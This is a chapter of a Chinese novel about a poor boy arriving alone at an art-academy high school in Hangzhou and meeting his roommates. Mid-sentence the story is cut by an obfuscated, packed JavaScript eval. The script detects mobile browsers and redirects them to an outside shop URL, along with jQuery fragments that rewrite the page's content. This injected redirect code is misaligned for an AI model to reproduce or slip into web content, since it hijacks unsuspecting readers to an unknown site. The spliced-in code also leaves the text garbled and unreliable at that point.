火车是早上七点半的。张小五到车站的时候，候车室里已经坐满了人。九月初是开学季，到处都是背着书包拖着箱子的学生和家长。有的学生穿着崭新的校服，有的手里拿着录取通知书，有的在跟父母自拍，有的在哭。一个女生抱着她妈妈的腰，哭得稀里哗啦的，她妈妈一边拍她的背一边说：“好了好了，又不是不回来了，寒假就回了。”女生哭得更凶了，鼻涕眼泪糊了一脸。
张小五看着她们，心里有点羡慕。他也很想哭，但他没有妈妈可以抱。王秀兰已经回南方上班了，张建国没有来送他——不是不想来，是张小五不让。他知道父亲的身体经不起折腾，坐一个小时的公交车到火车站，再一个人回去，太累了。他宁肯一个人走，也不想让父亲受累。
他找了一个角落的位置坐下，把行李箱放在脚边，书包抱在怀里，画筒靠在墙上。他拿出画本，翻到新的一页，开始画候车室里的众生相。那个抱着妈妈哭的女生，她哭的时候鼻子红红的，像一只小兔子。那个穿着崭新校服的男生，校服太大了，袖子盖住了手指，裤腿在地上拖着，像一个偷穿大人衣服的小孩。那个蹲在地上吃泡面的父亲，他吃得很急，一边吃一边看表，怕错过火车。
他画着画着，广播响了：“开往杭州方向的Kxxxx次列车开始检票。”
他合上画本，收好铅笔，背起书包，一手拉着行李箱，一手拿着画筒，走向检票口。检票员看了他一眼，大概觉得这个男孩太小了，一个人出远门，眼神里多了一丝担忧。
“一个人？”检票员问。
“一个人。”张小五说。
检票员在他车票上剪了一个口子，把票还给他。“路上小心。”
张小五点了点头，走进了站台。他找到了自己的车厢，把行李箱搬上去，放好，找到自己的座位。是一个靠窗的位置，他喜欢靠窗，因为可以看到外面的风景。他把书包放在腿上，画筒夹在膝盖之间，靠着窗，等着火车开动。
火车准点出发了。窗外的站台开始往后退，然后是铁轨、信号灯、电线杆、田野、房屋、树木。所有的东西都在往后退，快得像电影的快进镜头。张小五看着窗外，没有画画，没有背单词，没有做任何事。他只是看着，看着那些熟悉的风景一点一点地从眼前消失，被陌生的风景取代。北城的灰黄变成了南方的青绿，平原变成了丘陵，旱地变成了水田。
他想起了很多事。想起五岁那年，母亲拖着红色行李箱走出巷口的背影。想起父亲在工地上扛水泥的样子，汗珠子从额头上滚下来，滴在地上，瞬间就被蒸干了。想起李老师说“画画不能停”，想起方老师说“我像你这么大的时候家里也很穷”，想起周扬说“等你以后成了大画家再还我”，想起陈雨桐说“你不是一个人”。
想起那些深夜里独自哭泣的日子，想起那些在医院走廊上无声等待的夜晚，想起那些折叠椅上蜷缩成一团的凌晨。想起父亲手术成功那天，阳光从窗户照进来，照在父亲苍白的脸上，照在心电监护仪绿色的波形上。想起母亲把老家的房子卖了，五万块，汇到了医院的账户上。想起那张录取通知书，红色的边框，黑色的字体，烫金的校名。
他把手伸进衬衫领口，摸到了那两个平安符。母亲的，父亲的，并排贴着胸口，小小的，硬硬的，随着他的心跳一起一伏。他把它们握在手心里，感觉到掌心的温度，慢慢变暖。
下午四点多，火车到了杭州。
张小五背着书包，拉着行李箱，拿着画筒，走出了车站。杭州的天空灰蒙蒙的，不是雾霾，是水汽。空气中有一种湿漉漉的、黏糊糊的感觉，像是走进了一个巨大的蒸笼。他的眼镜片上立刻蒙了一层雾气，他摘下眼镜，用衣角擦了擦，重新戴上。
他跟着人流走向地铁站。这是他第一次坐地铁，以前只在电视上见过。他买了票，过了闸机，站在站台上等车。地铁来了，他上了车，车厢里人很多，他被挤在中间，一只手拉着行李箱，另一只手抱着画筒，书包被挤得歪到了一边。他没有抱怨，甚至觉得有点新鲜。这就是大城市的生活，拥挤，匆忙，但有一种让人兴奋的节奏。
他在“美院附中”站下了车。走出地铁站，一眼就看见了那所学校的校门。灰白色的石柱，木匾上写着校名，和记忆中的一模一样。他站在校门口，仰着头，看着那几个字，看了很久。阳光照在木匾上，那些字在发光。
他深吸一口气，走进了校门。
报到的地方在教学楼一楼的大厅。那里摆了一排桌子，每张桌子后面坐着一个老师，桌子上放着不同专业的牌子。张小五找到了“绘画专业”的牌子，走过去，把录取通知书递给老师。老师是一个年轻的女人，扎着马尾辫，戴着一副黑框眼镜，看起来很和善。
“张小五？”她看了看录取通知书，又看了看他，“北城来的？”
“是。”
“一个人来的？”
“是。”
老师多看了他一眼，眼神里有一种说不清的东西。她在一张表格上找到了他的名字，打了个勾，然后递给他一张纸条、一把钥匙和一张校园卡。
“这是你的宿舍号和钥匙，这是校园卡，吃饭、借书都用它。明天上午九点，在阶梯教室开新生大会，不要迟到。”
张小五接过那些东西，道了谢，转身走向宿舍。
宿舍楼在校园的东北角，是一栋灰白色的六层建筑，外墙爬满了藤蔓，即使是九月，叶子也是绿的。他走进楼门，找到楼梯，爬上三楼。走廊很长，灯光是暖黄色的，两边的门上贴着房间号。他找到了309，把钥匙插进锁孔，拧了一下，门开了。
宿舍是四人间，上下铺。已经有三个人在了，一个在铺床，一个在整理书桌，一个坐在床上玩手机。他们看见张小五进来，都抬起头看着他。
“你好，你是新来的？”铺床的那个男孩从床上跳下来，朝他伸出手，“我叫陆一鸣，来自江苏徐州。”
张小五和他握了握手。“张小五，北城。”
“北城？北方那个？”陆一鸣的眼睛亮了一下，“我听说过那个地方，好像挺冷的。”
“是挺冷的，冬天零下十几度。”
“哇，那你们那边是不是经常下雪？”
“嗯，每年都下。”
陆一鸣露出羡慕的表情。“我们那边很少下雪，就算下了也积不起来，落地就化了。”
整理书桌的那个男孩也走了过来，个子不高，戴着一副圆框眼镜，看起来很斯文。“我叫林子涵，来自福建厦门。”
张小五和他握了握手。“你好。”
坐在床上玩手机的那个男孩这时候才抬起头，把手机扔在一边，从床上跳下来。他比张小五高半个头，皮肤很白，头发是棕色的，看起来像一个混血儿。“我叫欧阳逸飞，来自上海。”
“你好。”张小五说。
“你就带这么点东西？”欧阳逸飞看了看他的行李箱和画筒，又看了看陆一鸣和林子涵那堆得像小山一样的行李，眼神里有一丝惊讶。
“够了。”张小五说。
欧阳逸飞没有再说什么，转身回到床上，继续玩手机。陆一鸣凑过来，帮张小五把行李箱抬到靠窗的那个下铺——那是他分到的床位。林子涵把自己的书桌让出一块地方，让张小五放东西。
张小五开始收拾。他把衣服一件一件地叠好，放进柜子里。他把画具摆在书桌上——铅笔、橡皮、削笔刀、颜料、画笔、画本。他把画筒靠在书桌旁边，把两个平安符从脖子上取下来，放在枕头底下。他把手表摘下来，放在床头，黑色的表带，白色的表盘，数字很大，即使在黑暗中也能看清时间。
“你的画具好少。”陆一鸣看着他的书桌，又看了看自己的——他的画具是张小五的三倍多，各种型号的铅
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444022|201069||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笔、各种颜色的颜料、各种大小的画笔，整整齐齐地码在桌上，像一个武器库。
“够用就行。”张小五说。
陆一鸣没有再说什么，但看他的眼神里多了一丝尊重。他见过太多有钱人家的孩子，画具一应俱全，但画出来的东西一塌糊涂。张小五不一样，他的画具虽然少，但每一支铅笔都用得很短，每一块橡皮都擦得很小，每一个颜料管都挤得很扁。这些东西是真正被用过的，不是用来摆设的。
晚上，他们四个人一起去食堂吃饭。食堂在一楼，很大，能坐几百人。菜的种类很多，有南方的也有北方的，有甜的也有辣的，有清淡的也有重口的。张小五要了一份番茄炒蛋、一份炒青菜和一大碗米饭，一共八块钱。他端着托盘，找了一个位置坐下，开始吃。番茄炒蛋是甜的，和他以前吃的不一样。北城的番茄炒蛋是咸的，放盐不放糖。但他觉得甜的也挺好吃的，也许是杭州的味道，也许是新生活的味道。
“张小五，你学画画多久了？”陆一鸣坐在他对面，嘴里嚼着一块糖醋排骨。
“正式学的话，初中开始的。但从小就喜欢画。”
“那你天赋不错啊。美院附中很难考的，你能考进来，说明你基本功很扎实。”
张小五笑了笑，没有说什么。他不知道该怎么跟陆一鸣解释，他不是天赋好，他是被逼出来的。当画画是你唯一能改变命运的东西时，你不得不拼尽全力。但这种话太沉重了，不适合在食堂里说，不适合在开学第一天说，不适合跟一个刚认识的人说。
林子涵吃得很慢，每一口都要嚼很久，像是在品尝什么珍贵的东西。他吃的是清蒸鱼和炒时蔬，都是清淡的口味，符合福建人的饮食习惯。欧阳逸飞吃得很快，几口就把饭扒完了，然后拿出一包纸巾，擦了擦嘴，又拿出一支口香糖，嚼了起来。
“明天新生大会，你们知道要干嘛吗？”欧阳逸飞问。
“不知道。”陆一鸣说，“应该是介绍学校吧，还有分班什么的。”
“听说有一个摸底考试。”林子涵忽然开口，声音很轻，但语气很确定，“考素描和色彩，根据成绩分班。”
张小五的心紧了一下。摸底考试。他还没有准备好。或者说，他永远觉得自己没有准备好。
“怕什么，考就考呗。”欧阳逸飞嚼着口香糖，吹了一个泡泡，啪的一声破了。
张小五没有说话。他低下头，把碗里的米饭吃得一粒不剩。
回到宿舍，张小五洗了澡，躺在床上。床是硬的，枕头是低的，被子是薄的，和家里的不一样。他翻来覆去地睡不着，不是因为不习惯，是因为脑子里想的事情太多了。明天的新生大会，摸底考试，分班，新老师，新同学，新生活。所有的这些东西像一群蜜蜂一样在他脑子里嗡嗡地飞，飞得他头昏脑涨。
他拿出手机，给父亲发了一条消息：“爸，到学校了。宿舍很好，室友也很好。明天新生大会，还有摸底考试。你别担心。”
过了一会儿，父亲回了一条：“好。早点睡。”
他又给母亲发了一条：“妈，到杭州了。学校很漂亮，食堂的菜很好吃。你照顾好自己。”
母亲回了一个笑脸，后面跟着一串感叹号。
他把手机放在枕头底下，把手表放在床头，闭上眼睛。黑暗中，他听见陆一鸣的呼吸声，均匀而平稳。听见林子涵翻书的声音，很轻，像风吹过纸页。听见欧阳逸飞嚼口香糖的声音，啪嗒啪嗒的，像一只小老鼠在啃东西。
他翻了个身，把脸埋进枕头里。枕头上有一股陌生的味道，不是洗衣粉，不是太阳，是学校的味道。他深吸一口气，把那口陌生的味道吸进肺里，然后慢慢地呼出来。
他在心里说：“杭州，我来了。美院附中，我来了。新生活，我来了。”
然后他闭上了眼睛。
这一次，他很快就睡着了。